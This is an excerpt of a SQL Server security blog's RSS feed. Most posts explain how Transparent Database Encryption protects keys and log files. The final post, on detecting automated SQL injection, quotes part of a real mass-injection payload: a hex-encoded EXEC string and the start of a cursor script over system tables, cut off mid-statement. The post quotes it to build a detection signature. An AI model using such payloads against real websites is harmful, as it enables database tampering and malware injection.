&lt;/strong&gt;or use these links:&lt;/p&gt;
&lt;p&gt;&lt;a href="http://social.technet.microsoft.com/wiki/contents/articles/database-engine-security-checklist-encrypting-sensitive-data.aspx"&gt;Database Engine Security Checklist: Encrypting Sensitive Data&lt;/a&gt;&lt;br /&gt;&lt;a href="http://social.technet.microsoft.com/wiki/contents/articles/database-engine-security-checklist-enhancing-the-security-of-database-engine-connections.aspx"&gt;Database Engine Security Checklist: Enhancing the Security of Database Engine Connections&lt;/a&gt;&lt;br /&gt;&lt;a href="http://social.technet.microsoft.com/wiki/contents/articles/database-engine-security-checklist-limiting-access-to-data.aspx"&gt;Database Engine Security Checklist: Limiting Access to Data&lt;/a&gt;&lt;br /&gt;&lt;a href="http://social.technet.microsoft.com/wiki/contents/articles/database-engine-security-checklist-database-engine-security-configuration.aspx"&gt;Database Engine Security Checklist: Database Engine Security Configuration&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;It's a wiki, so feel free to correct, comment, etc. Hope this becomes a good resource for the collective knowledge out there on these topics. Thanks Rick!&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=10042730" width="1" height="1"&gt;</description></item><item><title>DEK and the Log</title><link>http://blogs.msdn.com/b/sqlsecurity/archive/2010/07/14/dek-and-the-log.aspx</link><pubDate>Wed, 14 Jul 2010 00:47:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:10037853</guid><dc:creator>Zubair Ahmed Mughal - MSFT</dc:creator><slash:comments>3</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/sqlsecurity/rsscomments.aspx?WeblogPostID=10037853</wfw:commentRss><comments>http://blogs.msdn.com/b/sqlsecurity/archive/2010/07/14/dek-and-the-log.aspx#comments</comments><description>&lt;p&gt;In my &lt;a href="http://blogs.msdn.com/b/sqlsecurity/archive/2010/06/14/database-encryption-key-dek-management.aspx" title="previous post"&gt;previous post&lt;/a&gt; I talked about DEK management and how it is stored in the database. In this post I will try to give an overview of how the database log file is encrypted by TDE and what are the implicataions of key rotations (DEK or encryptor changes) on the log file.&lt;/p&gt;
&lt;p&gt;TDE encrypts the database log file along with the database to protect the entire database at rest. Also note that TDE also encrypts tempdb when one or more of the databases on the server are encrypted, this is to protect data leakage via temporary objects. Some basic knowledge of the Log and its logical structure will help in understanding this post. &lt;/p&gt;
&lt;h2&gt;Logical Structure of the Log file: &lt;/h2&gt;
&lt;p&gt;We will discuss the logical (not physical) structure of the log file since it is easier to understand log encryption that way. Logically, a log file consists of a series of virtual log files (VLF) and each VLF has its own header. The tricky part with the log file is that we cannot encrypt the entire log file in one single sweep like the database file, therefore each VLF is encrypted separately and the encryptor information is placed in the VLF header. When the log manager has to read a particular VLF (let's say for recovery) then it uses the encryptor information in the VLF header to locate the encryptor and decrypts the VLF. &lt;/p&gt;
&lt;p&gt;To completely understand some of the implications of log encryption, we'll look at the state of the log as we enable encryption and then later on change the encryptor or the DEK. Finally, we'll see how the log manager uses these VLFs to recover a database. &lt;/p&gt;
&lt;h2&gt;Unencrypted Log: &lt;/h2&gt;
&lt;p&gt;Imagine the following series of blocks as the logical log file, where each block represents a VLF. Initially, we are in VLF1 and the current LSN is somewhere inside VLF1 &lt;/p&gt;
&lt;p&gt;&lt;img src="http://blogs.msdn.com/resized-image.ashx/__size/550x0/__key/CommunityServer-Blogs-Components-WeblogFiles/00-00-00-92-93/4075.VLF_5F00_1.png" border="0" /&gt;&lt;/p&gt;
&lt;h2&gt;Encryption Turned ON: &lt;/h2&gt;
&lt;p&gt;When TDE is enabled on the database, the current VLF is filled with non-operational commands and a new VLF (VLF2) is created. As mentioned earlier, each VLF has one header which contains the encryptor information, so anytime the encryptor information changes the log is rolled over to the next VLF boundary. The next VLF will have the new DEK (DEK_1) and the thumbprint of the encryptor of the DEK in the header. Any additions to the log file will be added to VLF2 and will be encrypted. &lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;img src="http://blogs.msdn.com/resized-image.ashx/__size/550x0/__key/CommunityServer-Blogs-Components-WeblogFiles/00-00-00-92-93/5543.VLF_5F00_2.png" border="0" /&gt;&lt;/p&gt;
&lt;p&gt;When VLF2 is full, a new VLF will be created as usual, but since encryption is on so the new VLF will have the DEK and its information in its header and it will be encrypted as well. &lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;img src="http://blogs.msdn.com/resized-image.ashx/__size/550x0/__key/CommunityServer-Blogs-Components-WeblogFiles/00-00-00-92-93/0523.VLF_5F00_3.png" border="0" /&gt;&lt;/p&gt;
&lt;h2&gt;VLF Header &lt;/h2&gt;
&lt;p&gt;VLF header contains information very similar to the database boot page. Essentially, it contains the encrypted DEK, the encryptor type and the thumbprint of the encryptor: &lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;img src="http://blogs.msdn.com/resized-image.ashx/__size/550x0/__key/CommunityServer-Blogs-Components-WeblogFiles/00-00-00-92-93/3036.VLF_5F00_4.png" border="0" /&gt;&lt;/p&gt;
&lt;h2&gt;DEK or encryptor change: &lt;/h2&gt;
&lt;p&gt;If a new DEK is generated or the encryptor of the DEK is changed, the log is rolled over to the next VLF boundary and the new VLF (VLF4) will have the new DEK and encryptor information. Let's assume a new DEK (DEK_2) was generated using ALTER DATABASE ENCRYPTION KEY REGENERATE&amp;hellip; DDL. VLF3 will be filled again with non-operational commands and VLF4 will be created which will be encrypted by the new DEK. &lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;img src="http://blogs.msdn.com/resized-image.ashx/__size/550x0/__key/CommunityServer-Blogs-Components-WeblogFiles/00-00-00-92-93/1374.VLF_5F00_5.png" border="0" /&gt;&lt;/p&gt;
&lt;h2&gt;Decrypting VLFs: &lt;/h2&gt;
&lt;p&gt;In case of recovery or rollback, SQL Server may have to traverse the log file, i.e. the VLFs. Since each VLF has its own header, it can be independently decrypted. Now let's assume that SQL Server has to decrypt all the VLFs from 1 to 4. VLF1 is unencrypted so it will be read as is. VLF2 is encrypted by DEK_1, even though the current DEK of the database is DEK_2. Since the VLF header contains the encrypted DEK along with the encryptor's information, SQL Server can decrypt the DEK and the VLF. Same thing happens for VLF3; finally for VLF4 the DEK's header contains DEK_2 and its encryptor's information, so VLF4 will be decrypted as well. &lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=10037853" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/sqlsecurity/archive/tags/_2600_quot_3B00_Transparent+Database+Encryption_2600_quot_3B00_+Database+Security+Encryption+TDE+DEK+database+encryption+key/">&amp;quot;Transparent Database Encryption&amp;quot; Database Security Encryption TDE DEK database encryption key</category></item><item><title>Database Encryption Key (DEK) management</title><link>http://blogs.msdn.com/b/sqlsecurity/archive/2010/06/14/database-encryption-key-dek-management.aspx</link><pubDate>Mon, 14 Jun 2010 22:42:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:10024886</guid><dc:creator>Zubair Ahmed Mughal - MSFT</dc:creator><slash:comments>8</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/sqlsecurity/rsscomments.aspx?WeblogPostID=10024886</wfw:commentRss><comments>http://blogs.msdn.com/b/sqlsecurity/archive/2010/06/14/database-encryption-key-dek-management.aspx#comments</comments><description>&lt;p&gt;This post will talk about DEK, what it is and how it is securely stored and managed inside a database. Before enabling TDE a DEK must be created which is used to encrypt the contents of the database. It is a symmetric key and supported algorithms are AES with 128-bit, 192bit, or 256bit keys or 3&amp;nbsp;Key Triple DES. Once TDE is enabled on a database then the DEK is used to encrypt the contents of the database and the log. When TDE is enabled for any database on the server, TempDB is also encrypted and its DEK is managed internally by SQL Server. &lt;/p&gt;
&lt;h2&gt;DEK Storage: &lt;/h2&gt;
&lt;p&gt;Database encryption key is stored inside the database boot page; the contents of this boot page are not encrypted so the DEK has to be encrypted by another key; we call it the DEK's encryptor. Currently SQL Server allows encrypting a DEK by either a Server Certificate or an EKM Asymmetric key. Besides the DEK, the boot page also contains other information necessary to identify and open an encrypted database. &lt;/p&gt;
&lt;h2&gt;DEK's encryptor: &lt;/h2&gt;
&lt;p&gt;Note that both DEK encryption options, EKM Asymmetric Key and Server Certificate have to be present outside the encrypted database for SQL Server to be able to decrypt the DEK and subsequently the database; therefore it is required that the encryptor &lt;span style="text-decoration: underline;"&gt;&lt;strong&gt;&lt;em&gt;must&lt;/em&gt;&lt;/strong&gt;&lt;/span&gt; be present in the Master database. In case of a certificate it is strongly recommended that you &lt;a href="http://msdn.microsoft.com/en-us/library/ms178578.aspx"&gt;backup both the certificate and the private key&lt;/a&gt; since losing it will mean losing all the data in an encrypted database. In case of an EKM key, the Asymmetric key resides on the HSM which makes management a little easier. In either case it is important to hold on to this encryptor as long as the database or the log is dependent on it. &lt;/p&gt;
&lt;p&gt;When you restore or attach a TDE database on another server make sure that the encryptor is present on this server as well. In case of a certificate, restore it with its private key on this server; in case of an EKM key, the provider and the key should be available on this server as well. &lt;/p&gt;
&lt;p&gt;Before going into further detail let's see how all of this fits together:&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;img src="http://blogs.msdn.com/resized-image.ashx/__size/1138x441/__key/CommunityServer-Blogs-Components-WeblogFiles/00-00-00-92-93/8420.Bootpage.png" border="0" /&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2&gt;&lt;/h2&gt;
&lt;h2&gt;DEK's encryptor: &lt;/h2&gt;
&lt;p&gt;The above diagram shows the basic layout of DEK in an encrypted database and how it is protected; the blue arrows indicate encryption, X &lt;span style="font-family:Wingdings"&gt;&amp;agrave;&lt;/span&gt;Y means X is encrypted by Y. The boot page is not encrypted and contains the encrypted DEK which encrypts all the data pages. The diagram also shows previous DEK which is encrypted by current DEK, this is to handle DEK rotation. &lt;/p&gt;
&lt;p&gt;&lt;span style="color: #000080;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;em&gt;Insider Information: &lt;/em&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="padding-left: 30px;"&gt;&lt;span style="color:#8064a2"&gt;&lt;em&gt;&lt;span style="color: #000080;"&gt;Generating a new Database encryption Key is referred as DEK rotation, look at &lt;/span&gt;&lt;a href="http://technet.microsoft.com/en-us/library/bb630389.aspx"&gt;&lt;span style="color: #000080;"&gt;Alter DEK DDL&lt;/span&gt;&lt;/a&gt;&lt;span style="color: #000080;"&gt; for the syntax and details. Regenerating a DEK triggers an encryption scan which re-encrypts the entire database with the new DEK. The encryption scan is 'resumable', i.e. in case of any interruptions SQL Server will resume this encryption scan on startup. Each page's header contains the information of about the DEK which was used to encrypt this page. When SQL Server has to decrypt a page, it looks at the page header to find out whether the current or the old DEK should be used for decryption. Therefore, the previous DEK is kept in the boot page to make the encryption scan work across server shutdown or other interruptions.&lt;/span&gt; &lt;/em&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Boot page also contains information about the encryptor which helps SQL Server look it up in Master database. The certificate should have a private key and it should be decryptable on the machine, i.e. it should be encrypted by DMK which should be encrypted by SMK. For any reason, if SQL Server fails to decrypt the private key of the certificate, it won't be able to decrypt the DEK and database. If the DEK is encrypted by an EKM key then SQL Server should be able to connect to the HSM, access the key and decrypt the key. Refer to &lt;a href="http://msdn.microsoft.com/en-us/library/cc645957.aspx"&gt;MSDN&lt;/a&gt; on how to setup EKM to work with TDE. &lt;/p&gt;
&lt;h2&gt;Putting it all together: &lt;/h2&gt;
&lt;p&gt;Looking at the above diagram one can see how SQL Server opens the DEK of an encrypted database. On opening an encrypted database SQL Server first opens up the boot page which contains the DEK and the information on how to decrypt it. It then looks at the encryptor type and thumbprint, which is used to find the certificate or asymmetric key in the Master database. Once the encryptor is located, it can then be used to decrypt the DEK. Finally, this decrypted DEK is used to decrypt the actual data pages as they are read from and written to disk. &lt;/p&gt;
&lt;h2&gt;What's next? &lt;/h2&gt;
&lt;p&gt;In the next entry I will discuss the encryption of the log file by TDE and why it is important to know about this. Feel free to leave feedback, suggestions or ideas for future posts around TDE.&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=10024886" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/sqlsecurity/archive/tags/_2600_quot_3B00_Transparent+Database+Encryption_2600_quot_3B00_+Database+Security+Encryption+TDE+DEK+database+encryption+key/">&amp;quot;Transparent Database Encryption&amp;quot; Database Security Encryption TDE DEK database encryption key</category></item><item><title>TDE, DEK and the LOG</title><link>http://blogs.msdn.com/b/sqlsecurity/archive/2010/06/04/tde-dek-and-the-log.aspx</link><pubDate>Fri, 04 Jun 2010 22:52:12 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:10020282</guid><dc:creator>Zubair Ahmed Mughal - MSFT</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/sqlsecurity/rsscomments.aspx?WeblogPostID=10020282</wfw:commentRss><comments>http://blogs.msdn.com/b/sqlsecurity/archive/2010/06/04/tde-dek-and-the-log.aspx#comments</comments><description>&lt;p class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;Transparent Database Encryption (&lt;/span&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/bb934049.aspx"&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;TDE&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;) was introduced in SQL Server 2008 to allow users to encrypt databases without affecting any applications. Before reading this blog I would suggest reading &lt;/span&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/cc278098.aspx"&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;Sung Hsueh&amp;rsquo;s whitepaper&lt;/span&gt;&lt;/a&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt; on TDE and MSDN as it covers a lot of basics. In this blog, or rather series of blog posts I will discuss some topics in a bit more detail, especially those around which we have seen most customer questions. Feel free to suggest anything else that you would like to be a part of this blog; I&amp;rsquo;ll start off with these topics:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoListParagraphCxSpFirst" style="text-indent: -0.25in; margin: 0in 0in 0pt 0.5in; mso-list: l0 level1 lfo1;"&gt;&lt;span style="mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"&gt;&lt;span style="mso-list: Ignore;"&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;1.&lt;/span&gt;&lt;span style="font: 7pt 'Times New Roman';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;Database Encryption Key (DEK) management:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 1in; mso-add-space: auto;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;How SQL Server stores, manages and secures DEK(s) and how is used to start up an encrypted database.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -0.25in; margin: 0in 0in 0pt 0.5in; mso-list: l0 level1 lfo1;"&gt;&lt;span style="mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"&gt;&lt;span style="mso-list: Ignore;"&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;2.&lt;/span&gt;&lt;span style="font: 7pt 'Times New Roman';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;TDE and the Log:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 1in; mso-add-space: auto;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;How the database log is encrypted using TDE and what are its implications.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -0.25in; margin: 0in 0in 0pt 0.5in; mso-list: l0 level1 lfo1;"&gt;&lt;span style="mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"&gt;&lt;span style="mso-list: Ignore;"&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;3.&lt;/span&gt;&lt;span style="font: 7pt 'Times New Roman';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;Dependence on old certificates:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoListParagraphCxSpLast" style="margin: 0in 0in 10pt 1in; mso-add-space: auto;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;How a log can be dependent on an old certificate&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;Based on the feedback, I can add more specific topics and scenarios. So let me know, if there is something around TDE that you would specifically like to know and I&amp;rsquo;ll try to accommodate that in this series.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=10020282" width="1" height="1"&gt;</description></item><item><title>Blocking automated SQL injection attacks</title><link>http://blogs.msdn.com/b/sqlsecurity/archive/2010/04/27/blocking-automated-sql-injection-attacks-using-regular-expressions.aspx</link><pubDate>Tue, 27 Apr 2010 19:56:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:10003415</guid><dc:creator>Bala Neerumalla</dc:creator><slash:comments>3</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/sqlsecurity/rsscomments.aspx?WeblogPostID=10003415</wfw:commentRss><comments>http://blogs.msdn.com/b/sqlsecurity/archive/2010/04/27/blocking-automated-sql-injection-attacks-using-regular-expressions.aspx#comments</comments><description>&lt;p&gt;&lt;span style="FONT-FAMILY: 'Arial','sans-serif'; FONT-SIZE: 10pt"&gt;SQL injection attacks have been on the rise in the last two years, mainly because of automated tools. We first witnessed these automated attacks in December 2007, and since then very little has changed in the way that these attacks work. Attackers use these automated tools to query search engines for interesting URLs and blast each one with various SQL injection payloads, with the end goal of injecting malicious JavaScript into all string columns in all tables. Microsoft has provided guidance (&lt;/span&gt;&lt;a href="http://blogs.technet.com/swi/archive/2008/05/29/sql-injection-attack.aspx"&gt;&lt;span style="FONT-FAMILY: 'Arial','sans-serif'; FONT-SIZE: 10pt"&gt;&lt;span style="color: #0000ff;"&gt;http://blogs.technet.com/swi/archive/2008/05/29/sql-injection-attack.aspx&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="FONT-FAMILY: 'Arial','sans-serif'; FONT-SIZE: 10pt"&gt;) and some tools (&lt;/span&gt;&lt;a href="http://www.microsoft.com/technet/security/advisory/954462.mspx"&gt;&lt;span style="FONT-FAMILY: 'Arial','sans-serif'; FONT-SIZE: 10pt"&gt;&lt;span style="color: #0000ff;"&gt;http://www.microsoft.com/technet/security/advisory/954462.mspx&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="FONT-FAMILY: 'Arial','sans-serif'; FONT-SIZE: 10pt"&gt;) to combat these attacks.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="FONT-FAMILY: 'Arial','sans-serif'; FONT-SIZE: 10pt"&gt;Today I would like discuss another technique that one can use to block these automated SQL injection attacks against web applications using Microsoft SQL Server as the backend. Before I go into the technique, I would like to reiterate that using parameterized queries is the best way to mitigate SQL injection vulnerabilities in web applications. You can read this&amp;nbsp;&lt;/span&gt;&lt;a href="http://go.microsoft.com/?linkid=9707610" title="Quck SQL Injection reference document"&gt;&lt;span style="FONT-FAMILY: 'Arial','sans-serif'; FONT-SIZE: 10pt"&gt;&lt;span style="color: #0000ff;"&gt;Quick Security Reference document on SQL injections&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="FONT-FAMILY: 'Arial','sans-serif'; FONT-SIZE: 10pt"&gt; that details various classes of SQL injection vulnerabilities and how to address them in design, development and testing phases.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="FONT-FAMILY: 'Arial','sans-serif'; FONT-SIZE: 10pt"&gt;Any generic SQL injection attack that has to work on multiple web sites will have to construct a dynamic SQL statement to take some malicious action. Let&amp;rsquo;s examine the following payload used by the automated SQL injection attack:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family: Times New Roman; font-size: small;"&gt;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200450020......F007200%20AS%20NVARCHAR(4000));EXEC(@S&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Arial','sans-serif'; COLOR: gray; FONT-SIZE: 10pt"&gt;);&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Arial','sans-serif'; COLOR: green; FONT-SIZE: 10pt"&gt;--&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="FONT-FAMILY: 'Arial','sans-serif'; FONT-SIZE: 10pt"&gt;When you remove the encoding, we end up with the following TSQL code:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;DECLARE&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt; @S &lt;span style="COLOR: blue"&gt;NVARCHAR&lt;/span&gt;&lt;span style="COLOR: gray"&gt;(&lt;/span&gt;4000&lt;span style="COLOR: gray"&gt;);&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;SET&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt; @S&lt;span style="COLOR: gray"&gt;=&lt;/span&gt;&lt;span style="COLOR: fuchsia"&gt;CAST&lt;/span&gt;&lt;span style="COLOR: gray"&gt;(&lt;/span&gt;0x4400450043004C0041005200450020&amp;hellip;&amp;hellip;F007200 &lt;span style="COLOR: blue"&gt;AS&lt;/span&gt; &lt;span style="COLOR: blue"&gt;NVARCHAR&lt;/span&gt;&lt;span style="COLOR: gray"&gt;(&lt;/span&gt;4000&lt;span style="COLOR: gray"&gt;));&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;EXEC&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: gray; FONT-SIZE: 10pt"&gt;(&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt;@S&lt;span style="COLOR: gray"&gt;);&lt;/span&gt;&lt;span style="COLOR: green"&gt;--&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="FONT-FAMILY: 'Arial','sans-serif'; FONT-SIZE: 10pt"&gt;This statement declares a string variable (&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt;@S&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Arial','sans-serif'; FONT-SIZE: 10pt"&gt;) containing a long hex value converted into a string, and then executes that string as a SQL statement. If one has to build a signature to detect this attack, &lt;i style="mso-bidi-font-style: normal"&gt;declare&lt;/i&gt;, &lt;i style="mso-bidi-font-style: normal"&gt;@&amp;lt;somechars&amp;gt;&lt;/i&gt;, &lt;i style="mso-bidi-font-style: normal"&gt;varchar&lt;/i&gt;, and &lt;i style="mso-bidi-font-style: normal"&gt;exec&lt;/i&gt; are the keywords that one has to use to construct this payload in that specific order.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="FONT-FAMILY: 'Arial','sans-serif'; FONT-SIZE: 10pt"&gt;It is not necessary that the attacker use hex encoding, as shown in the previous attack. They could have executed the following TSQL script&amp;nbsp;as the main payload:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;DECLARE&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt; @T &lt;span style="COLOR: blue"&gt;varchar&lt;/span&gt;&lt;span style="COLOR: gray"&gt;(&lt;/span&gt;255&lt;span style="COLOR: gray"&gt;),&lt;/span&gt;@C &lt;span style="COLOR: blue"&gt;varchar&lt;/span&gt;&lt;span style="COLOR: gray"&gt;(&lt;/span&gt;255&lt;span style="COLOR: gray"&gt;)&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;DECLARE&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt; Table_Cursor &lt;span style="COLOR: blue"&gt;CURSOR&lt;/span&gt; &lt;span style="COLOR: blue"&gt;FOR&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;select&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt; a&lt;span style="COLOR: gray"&gt;.&lt;/span&gt;name&lt;span style="COLOR: gray"&gt;,&lt;/span&gt;b&lt;span style="COLOR: gray"&gt;.&lt;/span&gt;name &lt;span style="COLOR: blue"&gt;from&lt;/span&gt; &lt;span style="COLOR: green"&gt;sysobjects&lt;/span&gt; a&lt;span style="COLOR: gray"&gt;,&lt;/span&gt;&lt;span style="COLOR: green"&gt;syscolumns&lt;/span&gt; b &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;where&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
